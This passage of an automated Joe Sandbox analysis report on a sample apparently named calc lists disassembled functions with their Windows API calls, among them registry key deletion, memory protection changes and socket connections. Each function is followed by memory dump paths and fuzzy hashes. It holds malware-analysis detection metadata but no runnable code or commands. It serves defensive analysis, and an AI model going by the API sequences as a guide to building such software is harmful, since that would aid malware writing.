    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ByteCharMultiWide$ErrorLast_strlen
    • String ID:
    • API String ID: 1602738612-0
    • Opcode ID: eba79e8160cde25b70985ce8e81dd59c05e2ed59557b5e24ec2982564c7b595c
    • Instruction ID: a058c07e26b641bbfc192da87883db441c84c92e3ac80c53c66dc71070b0c3ca
    • Opcode Fuzzy Hash: eba79e8160cde25b70985ce8e81dd59c05e2ed59557b5e24ec2982564c7b595c
    • Instruction Fuzzy Hash: 3031037060221AAFFB619F25CCC4A7B7B65FF01765F284126F551962A1C378CC50DBA8
    Function 00401CA6 Relevance: 7.6, APIs: 5, Instructions: 98sleepwindowCOMMON
    Download Yara Rule
    APIs
    • GetWindowRect.USER32(?,?), ref: 00401CC7
    • PostMessageW.USER32(00000203,00000201,?), ref: 00401D88
    • Sleep.KERNEL32(00000000), ref: 00401D8C
    • PostMessageW.USER32(00000203,00000202,00000000), ref: 00401D99
    • Sleep.KERNEL32(00000000), ref: 00401D9D
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessagePostSleep$RectWindow
    • String ID:
    • API String ID: 3382505437-0
    • Opcode ID: 7fbab86b68605c3689304c4830e95d246c56bc5e426fb2400a3c8aeb11d6a3b5
    • Instruction ID: 3497ea4d360e579767fbcf44d23d4e2b7884bdb53c7986785f295a9f05f9fe14
    • Opcode Fuzzy Hash: 7fbab86b68605c3689304c4830e95d246c56bc5e426fb2400a3c8aeb11d6a3b5
    • Instruction Fuzzy Hash: 81317271900219EFDF00CFA9C848ADE7BB5FF44324F11862AE824A72E0D778AA01DF54
    Function 0044D99A Relevance: 7.6, APIs: 5, Instructions: 92memoryCOMMON
    Download Yara Rule
    APIs
    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 0044D9B4
    • GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0044D9C5
    • VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0044DA0B
    • VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,0000001C), ref: 0044DA49
    • VirtualProtect.KERNEL32(?,?,00000002,?,?,?,0000001C), ref: 0044DA6F
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Virtual$Query$AllocInfoProtectSystem
    • String ID:
    • API String ID: 4136887677-0
    • Opcode ID: 43b05488773f8ade2c74076fdcdff7ffeccff98ac9e085d27ad2e5a2c5c51133
    • Instruction ID: a43d628128a8e04a91b8abd909b70af1ccdebefb45351d68ac4c75b7ee95a1d4
    • Opcode Fuzzy Hash: 43b05488773f8ade2c74076fdcdff7ffeccff98ac9e085d27ad2e5a2c5c51133
    • Instruction Fuzzy Hash: C131BF72D04219EBEF10CFA4DD49AEE7BB8EB08355F140566E901F7290DB788E40DB98
    Function 00406CF6 Relevance: 7.6, APIs: 5, Instructions: 86windowCOMMON
    Download Yara Rule
    APIs
    • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 00406D5C
    • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00406D6D
    • DestroyCursor.USER32(?), ref: 00406D83
    • SendMessageW.USER32(?,00000080,00000000,?), ref: 00406D9B
    • InvalidateRect.USER32(?,00000000,00000001), ref: 00406DCB
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CursorDestroyExtractIconImageInvalidateLoadMessageRectSend
    • String ID:
    • API String ID: 3808587923-0
    • Opcode ID: 36ff14aeb739d8a85322478fd1b35111299d01693d0169730d835306efe88b92
    • Instruction ID: c21ef0cf77d829efdd81d2e82e102ae9a9487c8db7f6a13140ca5d1279e7c5bd
    • Opcode Fuzzy Hash: 36ff14aeb739d8a85322478fd1b35111299d01693d0169730d835306efe88b92
    • Instruction Fuzzy Hash: D0317C71600249FFCF11DF64DC849AA7BB9FF04355B11853AF916A6290D339EDA0CB98
    Function 0040850D Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
    Download Yara Rule
    APIs
    • DeleteObject.GDI32(?), ref: 00408529
    • 73F7A570.USER32(00000000,?,00000001,?), ref: 00408530
    • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000002,000000FF,000000FF,000000FF,00000001,00000004,00000000,00000002,00000000,?), ref: 00408582
    • SendMessageW.USER32(000000FF,00000030,00000000,00000001), ref: 00408592
    • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004085BA
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: A570CreateDeleteFontMessageMoveObjectSendWindow
    • String ID:
    • API String ID: 1844107694-0
    • Opcode ID: 87d978335de6d63e769d116ec5567d66e3bca6e5e14d1150b9a6aef3f29b13dc
    • Instruction ID: 7cb732dccc17f47e5e950ce36faa7ffa03e08c593cb8184f061ced94b1689c05
    • Opcode Fuzzy Hash: 87d978335de6d63e769d116ec5567d66e3bca6e5e14d1150b9a6aef3f29b13dc
    • Instruction Fuzzy Hash: F72190B2600604FFE7108FA4DD89EAB7BECEB58706F040429F642E6291D675DD40CB60
    Function 0043C147 Relevance: 7.6, APIs: 5, Instructions: 75registryCOMMON
    Download Yara Rule
    APIs
    • RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 0043C178
    • RegOpenKeyExW.ADVAPI32(000000FF,?,00000000,00000000,?), ref: 0043C1A5
    • RegCloseKey.ADVAPI32(?), ref: 0043C1BE
    • RegDeleteKeyW.ADVAPI32(000000FF,?), ref: 0043C1D3
    • RegEnumKeyExW.ADVAPI32(000000FF,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 0043C1FA
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Enum$CloseDeleteOpen
    • String ID:
    • API String ID: 2095303065-0
    • Opcode ID: 21ec9ad9b76e8ad65cf264998aa480fb6b0f153335c2455365767b880b5fc71f
    • Instruction ID: 7f2e3d05637b22c96f89e951353aa8dcb6cce75fb7abe0967204a5d51aea3fe2
    • Opcode Fuzzy Hash: 21ec9ad9b76e8ad65cf264998aa480fb6b0f153335c2455365767b880b5fc71f
    • Instruction Fuzzy Hash: 0B2138B290021CBEEF119BD4DC84DEF7BBCEB08344F1044A3E915E2151E2359E88ABB5
    Function 0040CCF8 Relevance: 7.6, APIs: 5, Instructions: 69COMMON
    Download Yara Rule
    APIs
    • DeleteObject.GDI32(?), ref: 0040CD3D
    • ExtCreatePen.GDI32(?,?,?,00000000,00000000,?,?), ref: 0040CD84
    • SelectObject.GDI32(?,00000000), ref: 0040CD94
    • BeginPath.GDI32(?), ref: 0040CDAE
    • SelectObject.GDI32(?,00000000), ref: 0040CDCD
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Object$Select$BeginCreateDeletePath
    • String ID:
    • API String ID: 2338827641-0
    • Opcode ID: a2cbe206f2c3155c35310916aa923ddabcbc7ad77c6c104879e4775da65235ec
    • Instruction ID: 5f1ec3bb34c6c83378939ec44ec0e75b148177ef5afca06314bcc58f4c2b26e1
    • Opcode Fuzzy Hash: a2cbe206f2c3155c35310916aa923ddabcbc7ad77c6c104879e4775da65235ec
    • Instruction Fuzzy Hash: 2C213171500705EFDB249F68D8C45DBBBB9EF54321B508A3AE566A32D0D734A9408B64
    Function 0041553B Relevance: 7.6, APIs: 5, Instructions: 68COMMON
    Download Yara Rule
    APIs
    • GetFileAttributesW.KERNEL32(0041568E,?,?,?,0041568E,?), ref: 00415558
    • GetLastError.KERNEL32(?,?,?,0041568E,?), ref: 00415563
    • CreateDirectoryW.KERNEL32(0041568E,00000000,?,?,?,0041568E,?), ref: 00415577
    • _wcsrchr.LIBCMT ref: 0041558F
    • CreateDirectoryW.KERNEL32(0041568E,00000000,00000000,0041568E,?), ref: 004155C4
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CreateDirectory$AttributesErrorFileLast_wcsrchr
    • String ID:
    • API String ID: 4258345607-0
    • Opcode ID: 176f42ab5fbc2667039750e6cd929b224dd4fd0784e740c7c288cb1e263e08a6
    • Instruction ID: 68b5fae6650556f5f289766cde6e66e8d758d6bde98e903a2f07c94c38581993
    • Opcode Fuzzy Hash: 176f42ab5fbc2667039750e6cd929b224dd4fd0784e740c7c288cb1e263e08a6
    • Instruction Fuzzy Hash: FE010432042F11F9E62127269C42BFF279F9F93364F60001BF805DA1D6EB2C8D82922D
    Function 0042F316 Relevance: 7.6, APIs: 5, Instructions: 66networkCOMMON
    Download Yara Rule
    APIs
    • socket.WS2_32(00000002,00000001,00000006), ref: 0042F363
    • WSAGetLastError.WS2_32(00000000,?,00000000,00000000), ref: 0042F371
    • connect.WS2_32(00000000,?,00000010), ref: 0042F388
    • WSAGetLastError.WS2_32(00000000,?,00000000,00000000), ref: 0042F396
    • closesocket.WS2_32(00000000), ref: 0042F3A5
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: ErrorLast$closesocketconnectsocket
    • String ID:
    • API String ID: 2203635173-0
    • Opcode ID: bcc0c9b2420f326353bda6227fe542d88106e93c1212bbe37af0a85f72262368
    • Instruction ID: e9a76509ebc0cdc0cc0ded18a06fd8c0235db7b6e9999a3bcc64bfd8e966fb5a
    • Opcode Fuzzy Hash: bcc0c9b2420f326353bda6227fe542d88106e93c1212bbe37af0a85f72262368
    • Instruction Fuzzy Hash: 5D11E6317001246BDB00FA26DC02AAE6379AF40728FE4417EFC15AB2C2DA28DD47929D
    Function 0040D713 Relevance: 7.6, APIs: 5, Instructions: 56windowCOMMON
    Download Yara Rule
    APIs
    • GetDlgItem.USER32(00000030,?), ref: 0040D722
    • SendMessageW.USER32(00000000,00000087,00000000,00000000), ref: 0040D73E
    • SendMessageW.USER32(?,00000087,00000000,00000000), ref: 0040D75F
    • SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040D76D
    • SendMessageW.USER32(00000000,000000F4,00000001,00000001), ref: 0040D779
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: MessageSend$Item
    • String ID:
    • API String ID: 3888421826-0
    • Opcode ID: 5b60db5229073f6f900d47f214ef1dac36a0b281dc4b7db597711eaa1891977d
    • Instruction ID: d3fe51862c2309d825a2603ef683ba1ebfbd6ccd36099a025a912eeaa0f8b8cd
    • Opcode Fuzzy Hash: 5b60db5229073f6f900d47f214ef1dac36a0b281dc4b7db597711eaa1891977d
    • Instruction Fuzzy Hash: AD01B532A4430ABBE7316AA4DC41F27BB98BF04744F100136BA84776D5E7F5EC154A98
    Function 00415F9F Relevance: 7.6, APIs: 5, Instructions: 54sleepCOMMON
    Download Yara Rule
    APIs
    • QueryPerformanceCounter.KERNEL32(0042018E,00479E08,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 00415FD1
    • QueryPerformanceFrequency.KERNEL32(00000001,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 00415FDB
    • Sleep.KERNEL32(00000000,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 00415FE3
    • QueryPerformanceCounter.KERNEL32(00479E08,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 00415FED
    • Sleep.KERNEL32(000000FA,00479E08,?,?,00420420,00479E08,00479E08,00000001,00000000,?,?,0042018E,?,00479E08), ref: 0041602B
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: PerformanceQuery$CounterSleep$Frequency
    • String ID:
    • API String ID: 2833360925-0
    • Opcode ID: 156a9a50ae8b932824767fb1cc352828150c381100d1d1f072abcc3b451083d3
    • Instruction ID: a0496099f4671258914814ba49d464bf0d8d7d2263f3373baa9b493c5c5e15e0
    • Opcode Fuzzy Hash: 156a9a50ae8b932824767fb1cc352828150c381100d1d1f072abcc3b451083d3
    • Instruction Fuzzy Hash: 20114C31D04A2EEBCF009BA4ED899EDBF78FB48706F01049AE441A2155DF38D5958759
    Function 0041255C Relevance: 7.5, APIs: 5, Instructions: 39COMMON
    Download Yara Rule
    APIs
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: CursorDestroy
    • String ID:
    • API String ID: 1272848555-0
    • Opcode ID: d5352005860e989090d583af45c09cb90acb3b9687f189d7be541a4d722c1722
    • Instruction ID: 5af252f83c0998234af6a32d05166f9f1353af0f655894e23adab3b1f56daafc
    • Opcode Fuzzy Hash: d5352005860e989090d583af45c09cb90acb3b9687f189d7be541a4d722c1722
    • Instruction Fuzzy Hash: 27011671100B889EC761AF79DC40BCABBE4EF48304F114C2AE59EE21A1E7B56A24CF55
    Function 0040E906 Relevance: 7.5, APIs: 5, Instructions: 39windowtimeCOMMON
    Download Yara Rule
    APIs
    • GetDlgItem.USER32(?,000003E9), ref: 0040E917
    • GetWindowTextW.USER32(00000000,?,00000100), ref: 0040E92E
    • MessageBeep.USER32(00000000), ref: 0040E946
    • KillTimer.USER32(?,0000040A), ref: 0040E966
    • EndDialog.USER32(?,00000001), ref: 0040E981
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: BeepDialogItemKillMessageTextTimerWindow
    • String ID:
    • API String ID: 3741023627-0
    • Opcode ID: 2ac69c56fc93b93703b80b9b75d3b78a5ca045b25a7619f806470178b95d6f54
    • Instruction ID: eefd527a5873faa5c6ba46484e8b71b9a847f1d4d4b8dc00e6c15001e6f527b0
    • Opcode Fuzzy Hash: 2ac69c56fc93b93703b80b9b75d3b78a5ca045b25a7619f806470178b95d6f54
    • Instruction Fuzzy Hash: BB018670500709EBEB215B62ED4DF9677B8BB00706F04056AA282A10E1D7B5E895CB59
    Function 0040D6BD Relevance: 7.5, APIs: 5, Instructions: 37windowCOMMON
    Download Yara Rule
    APIs
    • GetWindow.USER32(00000030,00000005), ref: 0040D6D5
    • SendMessageW.USER32(00000000,00000087,00000000,00000000), ref: 0040D6E9
    • GetWindow.USER32(00000000,00000002), ref: 0040D6F6
    • IsWindow.USER32(00000000), ref: 0040D6FB
    • GetDlgCtrlID.USER32(?), ref: 0040D70C
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_0_2_400000_calc.jbxd
    Similarity
    • API ID: Window$CtrlMessageSend
    • String ID:
    • API String ID: 75316347-0
    • Opcode ID: 0e3289aaeed3d6dad4732093dbf9fab04ae24d55cc092ac6ae943d18526d3546
    • Instruction ID: 64ae80fba0dfbd0f8e7b107c93965b29ce3a89bba25f913328f7fd94f1d7797f
    • Opcode Fuzzy Hash: 0e3289aaeed3d6dad4732093dbf9fab04ae24d55cc092ac6ae943d18526d3546
    • Instruction Fuzzy Hash: 50F0BE31B01715FBEA251BA0DC45FAA7B64FB08382F100132E208A21D1FB35DC208A9D
    Function 0040CC87 Relevance: 7.5, APIs: 5, Instructions: 34COMMON
    Download Yara Rule
    APIs
    • EndPath.GDI32(?), ref: 0040CC99
    • StrokeAndFillPath.GDI32(?,?,0040C5B2,?,?,00000000,00000000,?,?,?,?,00000000,00000001), ref: 0040CCB1
    • StrokePath.GDI32(?), ref: 0040CCBC
    • SelectObject.GDI32(?,00000000), ref: 0040CCD2
    • DeleteObject.GDI32(00000000), ref: 0040CCE3
    Memory Dump Source
    • Source File: 00000000.00000002.1409505809.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000000.00000002.1409493189.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409505809.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409629338.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000000.00000002.1409645249.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
